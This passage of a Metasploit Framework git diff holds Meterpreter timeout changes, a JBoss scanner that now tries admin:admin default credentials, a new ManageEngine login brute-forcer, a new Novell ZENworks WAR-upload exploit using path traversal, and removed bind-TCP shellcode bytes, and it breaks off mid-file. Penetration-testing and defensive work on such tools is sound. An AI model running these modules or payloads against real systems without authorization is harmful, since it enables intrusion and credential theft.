when TLV_TYPE_TRANS_PROXY_INFO; "TRANS-PROXY-INFO" when TLV_TYPE_TRANS_PROXY_USER; "TRANS-PROXY-USER" when TLV_TYPE_TRANS_PROXY_PASS; "TRANS-PROXY-PASS" - + when TLV_TYPE_TRANS_RETRY_TOTAL; "TRANS-RETRY-TOTAL" + when TLV_TYPE_TRANS_RETRY_WAIT; "TRANS-RETRY-WAIT" when TLV_TYPE_MACHINE_ID; "MACHINE-ID" #when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface' diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index c2ac0e787c..15a01537e5 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -79,7 +79,11 @@ module PacketDispatcher def shutdown_passive_dispatcher return if not self.passive_service - self.passive_service.remove_resource(self.conn_id + "/") + + # Ensure that there is only one leading and trailing slash on the URI + resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/" + + self.passive_service.remove_resource(resource_uri) # If there are no more resources registered on the service, stop it entirely if self.passive_service.resources.empty? @@ -102,6 +106,8 @@ module PacketDispatcher resp['Content-Type'] = 'application/octet-stream' resp['Connection'] = 'close' + self.last_checkin = Time.now + # If the first 4 bytes are "RECV", return the oldest packet from the outbound queue if req.body[0,4] == "RECV" rpkt = send_queue.shift @@ -494,6 +500,9 @@ module PacketDispatcher client = self end + # Update our last reply time + client.last_checkin = Time.now + # If the packet is a response, try to notify any potential # waiters if ((resp = packet.response?)) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 2bb949e7c2..6cd1bb14ab 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -56,6 +56,8 @@ class Console::CommandDispatcher::Core "run" => "Executes a meterpreter script or Post module", "bgrun" => "Executes a meterpreter script as a background thread", "bgkill" => "Kills a background meterpreter script", + "get_timeouts" => "Get the current session timeout values", + "set_timeouts" => "Set the current session timeout values", "bglist" => "Lists running background scripts", "write" => "Writes data to a channel", "enable_unicode_encoding" => "Enables encoding of unicode strings", @@ -72,12 +74,13 @@ class Console::CommandDispatcher::Core if client.passive_service && client.sock.type? == 'tcp-ssl' c["ssl_verify"] = "Modify the SSL certificate verification setting" end - - c["transport"] = "Change the current transport mechanism" end if client.platform =~ /win/ || client.platform =~ /linux/ c["migrate"] = "Migrate the server to another process" + # Yet to implement transport hopping for other meterpreters. + # Works for posix and native windows though. + c["transport"] = "Change the current transport mechanism" end if (msf_loaded?) @@ -327,6 +330,64 @@ class Console::CommandDispatcher::Core Rex::Ui::Text::IrbShell.new(binding).run end + @@set_timeouts_opts = Rex::Parser::Arguments.new( + '-c' => [ true, 'Comms timeout (seconds)' ], + '-x' => [ true, 'Expiration timout (seconds)' ], + '-t' => [ true, 'Retry total time (seconds)' ], + '-w' => [ true, 'Retry wait time (seconds)' ], + '-h' => [ false, 'Help menu' ]) + + def cmd_set_timeouts_help + print_line('Usage: set_timeouts [options]') + print_line + print_line('Set the current timeout options.') + print_line('Any or all of these can be set at once.') + print_line(@@set_timeouts_opts.usage) + end + + def cmd_set_timeouts(*args) + if ( args.length == 0 or args.include?("-h") ) + cmd_set_timeouts_help + return + end + + opts = {} + + @@set_timeouts_opts.parse(args) do |opt, idx, val| + case opt + when '-c' + opts[:comm_timeout] = val.to_i if val + when '-x' + opts[:session_exp] = val.to_i if val + when '-t' + opts[:retry_total] = val.to_i if val + when '-w' + opts[:retry_wait] = val.to_i if val + end + end + + if opts.keys.length == 0 + print_error("No options set") + else + timeouts = client.core.set_transport_timeouts(opts) + print_timeouts(timeouts) + end + end + + def cmd_get_timeouts(*args) + # Calling set without passing values is the same as + # getting all the current timeouts + timeouts = client.core.set_transport_timeouts + print_timeouts(timeouts) + end + + def print_timeouts(timeouts) + print_line("Session Expiry : @ #{(Time.now + timeouts[:session_exp]).strftime('%Y-%m-%d %H:%M:%S')}") + print_line("Comm Timeout : #{timeouts[:comm_timeout]} seconds") + print_line("Retry Total Time: #{timeouts[:retry_total]} seconds") + print_line("Retry Wait Time : #{timeouts[:retry_wait]} seconds") + end + # # Get the machine ID of the target # @@ -429,8 +490,10 @@ class Console::CommandDispatcher::Core '-ps' => [ true, 'Proxy password for http(s) transports (optional)' ], '-pt' => [ true, 'Proxy type for http(s) transports (optional: http, socks; default: http)' ], '-c' => [ true, 'SSL certificate path for https transport verification (optional)' ], - '-to' => [ true, "Comms timeout (seconds) for http(s) transports (default: #{Rex::Post::Meterpreter::ClientCore::DEFAULT_COMMS_TIMEOUT})" ], - '-ex' => [ true, "Expiration timout (seconds) for http(s) transports (default: #{Rex::Post::Meterpreter::ClientCore::DEFAULT_SESSION_EXPIRATION})" ], + '-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ], + '-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ], + '-rt' => [ true, 'Retry total time (seconds) (default: same as current session)' ], + '-rw' => [ true, 'Retry wait time (seconds) (default: same as current session)' ], '-h' => [ false, 'Help menu' ]) # @@ -462,8 +525,10 @@ class Console::CommandDispatcher::Core :proxy_type => nil, :proxy_user => nil, :proxy_pass => nil, - :comms_timeout => nil, + :comm_timeout => nil, :session_exp => nil, + :retry_total => nil, + :retry_wait => nil, :cert => nil } @@ -484,9 +549,13 @@ class Console::CommandDispatcher::Core when '-ua' opts[:ua] = val when '-to' - opts[:comms_timeout] = val.to_i if val + opts[:comm_timeout] = val.to_i if val when '-ex' opts[:session_exp] = val.to_i if val + when '-rt' + opts[:retry_total] = val.to_i if val + when '-rw' + opts[:retry_wait] = val.to_i if val when '-p' opts[:lport] = val.to_i if val when '-l' @@ -620,8 +689,8 @@ class Console::CommandDispatcher::Core case opt when "-l" exts = SortedSet.new - msf_path = MeterpreterBinaries.metasploit_data_dir - gem_path = MeterpreterBinaries.local_dir + msf_path = MetasploitPayloads.msf_meterpreter_dir + gem_path = MetasploitPayloads.local_meterpreter_dir [msf_path, gem_path].each do |path| ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) @@ -668,8 +737,8 @@ class Console::CommandDispatcher::Core def cmd_load_tabs(str, words) tabs = SortedSet.new - msf_path = MeterpreterBinaries.metasploit_data_dir - gem_path = MeterpreterBinaries.local_dir + msf_path = MetasploitPayloads.msf_meterpreter_dir + gem_path = MetasploitPayloads.local_meterpreter_dir [msf_path, gem_path].each do |path| ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 9f896689ef..d15a999777 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -579,6 +579,7 @@ class Client rv = nil while ( + not conn.closed? and rv != Packet::ParseCode::Completed and rv != Packet::ParseCode::Error ) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 0a5cd681e3..137cdff33b 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -64,7 +64,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0.pre.rails.pre.4.0' # Needed for Meterpreter on Windows, soon others. - spec.add_runtime_dependency 'meterpreter_bins', '0.0.22' + spec.add_runtime_dependency 'metasploit-payloads', '0.0.3' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler diff --git a/modules/auxiliary/scanner/http/jboss_vulnscan.rb b/modules/auxiliary/scanner/http/jboss_vulnscan.rb index b58bdaa831..7c6e5758ab 100644 --- a/modules/auxiliary/scanner/http/jboss_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jboss_vulnscan.rb @@ -7,7 +7,6 @@ require 'rex/proto/http' require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -15,10 +14,14 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, 'Name' => 'JBoss Vulnerability Scanner', - 'Description' => %q{ + 'Description' => %q( This module scans a JBoss instance for a few vulnerablities. - }, - 'Author' => [ 'Tyler Krpata' ], + ), + 'Author' => + [ + 'Tyler Krpata', + 'Zach Grace <@ztgrace>' + ], 'References' => [ [ 'CVE', '2010-0738' ] # VERB auth bypass @@ -28,31 +31,29 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"]), + OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"]) ], self.class) end - def run_host(ip) - res = send_request_cgi( { - 'uri' => "/"+Rex::Text.rand_text_alpha(12), + 'uri' => "/" + Rex::Text.rand_text_alpha(12), 'method' => 'GET', - 'ctype' => 'text/plain', - - }, 20) + 'ctype' => 'text/plain' + }) if res - info = http_fingerprint({ :response => res }) + info = http_fingerprint(:response => res) print_status(info) - if(res.body and />(JBoss[^<]+)/.match(res.body) ) + if res.body && />(JBoss[^<]+)/.match(res.body) print_error("#{rhost}:#{rport} JBoss error message: #{$1}") end - apps = [ '/jmx-console/HtmlAdaptor', + apps = [ + '/jmx-console/HtmlAdaptor', '/status', '/web-console/ServerInfo.jsp', # apps added per Patrick Hof @@ -65,6 +66,8 @@ class Metasploit3 < Msf::Auxiliary check_app(app) end + jboss_as_default_creds + ports = { # 1098i, 1099, and 4444 needed to use twiddle 1098 => 'Naming Service', @@ -72,22 +75,21 @@ class Metasploit3 < Msf::Auxiliary 4444 => 'RMI invoker' } print_status("#{rhost}:#{rport} Checking services...") - ports.each do |port,service| - status = test_connection(ip,port) == :up ? "open" : "closed"; + ports.each do |port, service| + status = test_connection(ip, port) == :up ? "open" : "closed" print_status("#{rhost}:#{rport} #{service} tcp/#{port}: #{status}") end end end def check_app(app) - res = send_request_cgi({ 'uri' => app, 'method' => 'GET', - 'ctype' => 'text/plain', - }, 20) + 'ctype' => 'text/plain' + }) - if (res) + if res case when res.code == 200 print_good("#{rhost}:#{rport} #{app} does not require authentication (200)") @@ -96,6 +98,7 @@ class Metasploit3 < Msf::Auxiliary when res.code == 401 print_status("#{rhost}:#{rport} #{app} requires authentication (401): #{res.headers['WWW-Authenticate']}") bypass_auth(app) + basic_auth_default_creds(app) when res.code == 404 print_status("#{rhost}:#{rport} #{app} not found (404)") when res.code == 301, res.code == 302 @@ -108,48 +111,125 @@ class Metasploit3 < Msf::Auxiliary end end - def bypass_auth(app) + def jboss_as_default_creds + print_status("#{rhost}:#{rport} Checking for JBoss AS default creds") + session = jboss_as_session_setup(rhost, rport) + return false if session.nil? + + # Default AS creds + username = 'admin' + password = 'admin' + + res = send_request_raw({ + 'uri' => '/admin-console/login.seam', + 'method' => 'POST', + 'version' => '1.1', + 'vhost' => "#{rhost}", + 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded', + 'Cookie' => "JSESSIONID=#{session['jsessionid']}" + }, + 'data' => "login_form=login_form&login_form%3Aname=#{username}&login_form%3Apassword=#{password}&login_form%3Asubmit=Login&javax.faces.ViewState=#{session["viewstate"]}" + }) + + # Valid creds if 302 redirected to summary.seam and not error.seam + if res && res.code == 302 && res.headers.to_s !~ /error.seam/m && res.headers.to_s =~ /summary.seam/m + print_good("#{rhost}:#{rport} Authenticated using #{username}:#{password} at /admin-console/") + add_creds(username, password) + else + print_status("#{rhost}:#{rport} Could not guess admin credentials") + end + end + + def add_creds(username, password) + service_data = { + address: rhost, + port: rport, + service_name: 'jboss', + protocol: 'tcp', + workspace_id: framework.db.workspace.id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: password, + private_type: :password, + username: username + }.merge(service_data) + + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + end + + def jboss_as_session_setup(rhost, rport) + res = send_request_raw({ + 'uri' => '/admin-console/login.seam', + 'method' => 'GET', + 'version' => '1.1', + 'vhost' => "#{rhost}" + }) + + unless res + return nil + end + + begin + viewstate = /javax.faces.ViewState" value="(.*)" auto/.match(res.body).captures[0] + jsessionid = /JSESSIONID=(.*);/.match(res.headers.to_s).captures[0] + rescue ::NoMethodError + print_status("#{rhost}:#{rport} Could not guess admin credentials") + return nil + end + + { 'jsessionid' => jsessionid, 'viewstate' => viewstate } + end + + def bypass_auth(app) print_status("#{rhost}:#{rport} Check for verb tampering (HEAD)") res = send_request_raw({ 'uri' => app, 'method' => datastore['VERB'], 'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason - }, 20) - if (res and res.code == 200) + }) + + if res && res.code == 200 print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering") else print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering") end + end + def basic_auth_default_creds(app) res = send_request_cgi({ 'uri' => app, 'method' => 'GET', 'ctype' => 'text/plain', - 'authorization' => basic_auth('admin','admin') - }, 20) - if (res and res.code == 200) - print_good("#{rhost}:#{rport} Authenticated using admin:admin") + 'authorization' => basic_auth('admin', 'admin') + }) + + if res && res.code == 200 + print_good("#{rhost}:#{rport} Authenticated using admin:admin at #{app}") + add_creds("admin", "admin") else print_status("#{rhost}:#{rport} Could not guess admin credentials") end - end # function stole'd from mssql_ping - def test_connection(ip,port) + def test_connection(ip, port) begin sock = Rex::Socket::Tcp.create( 'PeerHost' => ip, 'PeerPort' => port, 'Timeout' => 20 - ) + ) rescue Rex::ConnectionError return :down end sock.close return :up end - end diff --git a/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb b/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb new file mode 100644 index 0000000000..69fe63fff8 --- /dev/null +++ b/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/login_scanner/manageengine_desktop_central' +require 'metasploit/framework/credential_collection' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'ManageEngine Desktop Central Login Utility', + 'Description' => %q{ + This module will attempt to authenticate to a ManageEngine Desktop Central. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'RPORT' => 8020} + )) + end + + + # Initializes CredentialCollection and ManageEngineDesktopCentral + def init(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + @scanner = Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral.new( + configure_http_login_scanner( + host: ip, + port: datastore['RPORT'], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5 + ) + ) + end + + + # Reports a good login credential + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + last_attempted_at: DateTime.now, + status: result.status, + proof: result.proof + }.merge(service_data) + + create_credential_login(login_data) + end + + + # Attempts to login + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'") + do_report(ip, rport, result) + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + vprint_brute(:level => :verror, :ip => ip, :msg => result.proof) + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status, + proof: result.proof + ) + when Metasploit::Model::Login::Status::INCORRECT + vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'") + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status, + proof: result.proof + ) + end + end + end + + + # Start here + def run_host(ip) + init(ip) + unless @scanner.check_setup + print_brute(:level => :error, :ip => ip, :msg => 'Target is not ManageEngine Desktop Central') + return + end + + bruteforce(ip) + end + +end diff --git a/modules/exploits/multi/browser/firefox_proxy_prototype.rb b/modules/exploits/multi/browser/firefox_proxy_prototype.rb index 701280c944..afaa21317a 100644 --- a/modules/exploits/multi/browser/firefox_proxy_prototype.rb +++ b/modules/exploits/multi/browser/firefox_proxy_prototype.rb @@ -10,17 +10,8 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::BrowserExploitServer - include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation - autopwn_info({ - :ua_name => HttpClients::FF, - :ua_minver => "31.0", - :ua_maxver => "34.0", - :javascript => true, - :rank => ManualRanking - }) - def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection', diff --git a/modules/exploits/multi/http/zenworks_configuration_management_upload.rb b/modules/exploits/multi/http/zenworks_configuration_management_upload.rb new file mode 100644 index 0000000000..88dc101694 --- /dev/null +++ b/modules/exploits/multi/http/zenworks_configuration_management_upload.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Novell ZENworks Configuration Management Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in Novell ZENworks Configuration + Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in + the UploadServlet which accepts unauthenticated file uploads and does not check the + "uid" parameter for directory traversal characters. This allows an attacker to write + anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat + webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack. + This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note + that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a + Metasploit exploit, but it abuses a different parameter of the same servlet. + }, + 'Author' => + [ + 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-0779'], + ['OSVDB', '120382'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Apr/21'] + ], + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Privileged' => true, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Novell ZCM < v11.3.2 - Universal Java', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 7 2015')) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', + [true, 'Use SSL', true]), + OptString.new('TARGETURI', + [true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']), + OptString.new('TOMCAT_PATH', + [false, 'The Tomcat webapps traversal path (from the temp directory)']) + ], self.class) + end + + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'), + 'method' => 'GET' + }) + + if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/ + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + + def upload_war_and_exec(tomcat_path) + app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + war_payload = payload.encoded_war({ :app_name => app_base }).to_s + + print_status("#{peer} - Uploading WAR file to #{tomcat_path}") + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'), + 'method' => 'POST', + 'data' => war_payload, + 'ctype' => 'application/octet-stream', + 'vars_get' => { + 'uid' => tomcat_path, + 'filename' => "#{app_base}.war" + } + }) + if res && res.code == 200 + print_status("#{peer} - Upload appears to have been successful") + else + print_error("#{peer} - Failed to upload, try again with a different path?") + return false + end + + 10.times do + Rex.sleep(2) + + # Now make a request to trigger the newly deployed war + print_status("#{peer} - Attempting to launch payload in deployed WAR...") + send_request_cgi({ + 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + + # Failure. The request timed out or the server went away. + break if res.nil? + # Failure. Unexpected answer + break if res.code != 200 + # Unless session... keep looping + return true if session_created? + end + + false + end + + + def exploit + tomcat_paths = [] + if datastore['TOMCAT_PATH'] + tomcat_paths << datastore['TOMCAT_PATH'] + end + tomcat_paths.concat(['../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/']) + + tomcat_paths.each do |tomcat_path| + break if upload_war_and_exec(tomcat_path) + end + end +end diff --git a/modules/exploits/windows/brightstor/ca_arcserve_342.rb b/modules/exploits/windows/brightstor/ca_arcserve_342.rb index fc38dbe7d1..0ac6087379 100644 --- a/modules/exploits/windows/brightstor/ca_arcserve_342.rb +++ b/modules/exploits/windows/brightstor/ca_arcserve_342.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow', 'Description' => %q{ - This module exploits a buffer overflow in Computer Associates BrighStor ARCserve r11.5 (build 3884). + This module exploits a buffer overflow in Computer Associates BrightStor ARCserve r11.5 (build 3884). By sending a specially crafted RPC request to opcode 0x342, an attacker could overflow the buffer and execute arbitrary code. In order to successfully exploit this vulnerability, you will need set the hostname argument (HNAME). @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Computer Associates BrighStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.0 + [ 'Computer Associates BrightStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.0 ], 'DisclosureDate' => 'Oct 9 2008', 'DefaultTarget' => 0)) diff --git a/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb b/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb index 57e5147c3a..6ea97614c8 100644 --- a/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb +++ b/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['ZDI', '14-365'], ['CVE', '2014-0569'], + ['OSVDB', '113199'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-22.html'], ['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0569.html'] ], diff --git a/modules/payloads/stagers/linux/x86/bind_tcp.rb b/modules/payloads/stagers/linux/x86/bind_tcp.rb index 0dac7816a2..485cc856fc 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp.rb @@ -6,86 +6,26 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/linux/bind_tcp' +module Metasploit4 -### -# -# BindTcp -# ------- -# -# Linux bind TCP stager. -# -### -module Metasploit3 - - CachedSize = 79 + CachedSize = :dynamic include Msf::Payload::Stager - include Msf::Payload::Linux + include Msf::Payload::Linux::BindTcp def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager', - 'Description' => 'Listen for a connection', - 'Author' => [ - 'skape', # original - 'egypt', # NX support - ], + 'Name' => 'Bind TCP Stager (Linux x86)', + 'Description' => 'Listen for a connection (Linux x86)', + 'Author' => [ 'skape', 'egypt', ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::BindTcp, - 'Stager' => - { - 'Offsets' => - { - 'LPORT' => [ 0x29, 'n' ], - }, - 'Payload' => - - "\x6a\x7d" +# push byte +0x7d - "\x58" +# pop eax - "\x99" +# cdq - "\xb2\x07" +# mov dl,0x7 - "\xb9\x00\x10\x00\x00" +# mov ecx,0x1000 - "\x89\xe3" +# mov ebx,esp - "\x66\x81\xe3\x00\xf0" +# and bx,0xf000 - "\xcd\x80" +# int 0x80 - "\x31\xdb" +# xor ebx,ebx - "\xf7\xe3" +# mul ebx - "\x53" +# push ebx - "\x43" +# inc ebx - "\x53" +# push ebx - "\x6a\x02" +# push byte +0x2 - "\x89\xe1" +# mov ecx,esp - "\xb0\x66" +# mov al,0x66 - "\xcd\x80" +# int 0x80 - "\x5b" +# pop ebx - "\x5e" +# pop esi - "\x52" +# push edx - "\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002 - "\x6a\x10" +# push byte +0x10 - "\x51" +# push ecx - "\x50" +# push eax - "\x89\xe1" +# mov ecx,esp - "\x6a\x66" +# push byte +0x66 - "\x58" +# pop eax - "\xcd\x80" +# int 0x80 - "\xd1\xe3" +# shl ebx,1 - "\xb0\x66" +# mov al,0x66 - "\xcd\x80" +# int 0x80 - "\x43" +# inc ebx - "\xb0\x66" +# mov al,0x66 - "\x89\x51\x04" +# mov [ecx+0x4],edx - "\xcd\x80" +# int 0x80 - "\x93" +# xchg eax,ebx - "\xb6\x0c" +# mov dh,0xc - "\xb0\x03" +# mov al,0x3 - "\xcd\x80" +# int 0x80 - "\x89\xdf" +# mov edi,ebx - "\xff\xe1" # jmp ecx - - } + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => true } )) end diff --git a/modules/payloads/stagers/windows/bind_tcp.rb b/modules/payloads/stagers/windows/bind_tcp.rb index c8c07986b8..448e0344c6 100644 --- a/modules/payloads/stagers/windows/bind_tcp.rb +++ b/modules/payloads/stagers/windows/bind_tcp.rb @@ -6,49 +6,26 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/bind_tcp' +module Metasploit4 -module Metasploit3 - - CachedSize = 285 + CachedSize = :dynamic include Msf::Payload::Stager - include Msf::Payload::Windows + include Msf::Payload::Windows::BindTcp def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager', - 'Description' => 'Listen for a connection', + 'Name' => 'Bind TCP Stager (Windows x86)', + 'Description' => 'Listen for a connection (Windows x86)', 'Author' => ['hdm', 'skape', 'sf'], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::BindTcp, 'Convention' => 'sockedi', - 'Stager' => - { - 'RequiresMidstager' => false, - 'Offsets' => { 'LPORT' => [ 192, 'n' ] }, - 'Payload' => - "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + - "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + - "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + - "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + - "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + - "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + - "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + - "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + - "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + - "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" + - "\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" + - "\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" + - "\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" + - "\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + - "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + - "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + - "\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3" - } + 'Stager' => { 'RequiresMidstager' => false } )) end diff --git a/modules/payloads/stagers/windows/reverse_tcp.rb b/modules/payloads/stagers/windows/reverse_tcp.rb index ed4176fbb1..8df5d350b0 100644 --- a/modules/payloads/stagers/windows/reverse_tcp.rb +++ 